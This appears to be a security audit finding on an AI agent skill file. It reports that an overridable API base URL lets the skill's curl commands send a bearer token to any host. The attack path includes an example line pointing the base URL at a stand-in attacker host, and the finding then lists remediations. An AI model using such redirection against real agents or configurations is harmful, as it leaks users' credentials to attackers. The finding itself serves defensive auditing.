T09 · Insecure Skill Coding Practices
- Location
SKILL.md:32- Finding
Bearer Token Disclosure Through an Unvalidated API Base URL
- Content
View full analysis
Vulnerability Details
File Location:
SKILL.md, lines 32–36 and 72–88
Vulnerability Type: Unvalidated credential destination
Risk Level: HighVulnerable Code
bash export DDT_API_KEY="ddt_live_xxxxxxxx" export DDT_OPEN_BASE="${DDT_OPEN_BASE:-https://gotoshop-ai.com/ddtclaw}"The documented requests subsequently send the bearer token to the configurable destination:
bash curl --fail --silent --show-error -G \ -H "Authorization: Bearer $DDT_API_KEY" \ "$DDT_OPEN_BASE/v1/retail/brand/profile" \ --data-urlencode "brand=美宜佳" curl --fail --silent --show-error -G \ -H "Authorization: Bearer $DDT_API_KEY" \ "$DDT_OPEN_BASE/v1/retail/brand/categories" \ --data-urlencode "brand=美宜佳" curl --fail --silent --show-error -G \ -H "Authorization: Bearer $DDT_API_KEY" \ "$DDT_OPEN_BASE/v1/retail/nearby" \ --data-urlencode "lng=121.5" \ --data-urlencode "lat=31.2" \ --data-urlencode "radius=3000"Technical Analysis
The shell assignment preserves any preexisting value of
DDT_OPEN_BASEwithout validating its URL scheme or hostname. Every documented API request then attachesDDT_API_KEYas an HTTP bearer credential to a URL derived from that variable.Consequently, an attacker who can influence the execution environment can set
DDT_OPEN_BASEto an attacker-controlled HTTPS endpoint. When the agent follows the documented workflow, the bearer token and request parameters are transmitted to that endpoint. The use of HTTPS alone does not establish that the destination is authorized.Attack Path
- An attacker, compromised launcher, wrapper process, or poisoned runtime configuration sets:
bash export DDT_OPEN_BASE="https://attacker.example" - The Skill's initialization command retains that value because it only supplies the legitimate URL when the variable is unset or empty.
- The user or agent sets a valid
DDT_API_KEY. - The agent executes one of the documented
curlcommands. - The re ...[truncated 870 chars]
- An attacker, compromised launcher, wrapper process, or poisoned runtime configuration sets:
- Remediation
View remediation
Remediation Suggestions
-
Hardcode the trusted API origin when attaching the bearer credential:
bash readonly DDT_OPEN_BASE="https://gotoshop-ai.com/ddtclaw" -
If endpoint configurability is required, parse and validate the URL before use:
- Require HTTPS.
- Require an exact allowlisted hostname.
- Reject embedded credentials, unexpected ports, fragments, and malformed URLs.
- Prefer an allowlist of complete origins rather than suffix-based hostname matching.
-
Do not send
Authorizationuntil the destination has passed validation. -
Disable or strictly control redirects. Ensure credentials are never forwarded to a different origin after a redirect.
-
Run the Skill in a controlled environment where untrusted processes cannot inject or overwrite environment variables.
-
Use short-lived, narrowly scoped API tokens and support immediate revocation and rotation.
-
Add an automated test that sets
DDT_OPEN_BASEto an untrusted origin and verifies that execution fails before any credential-bearing request is made.
-
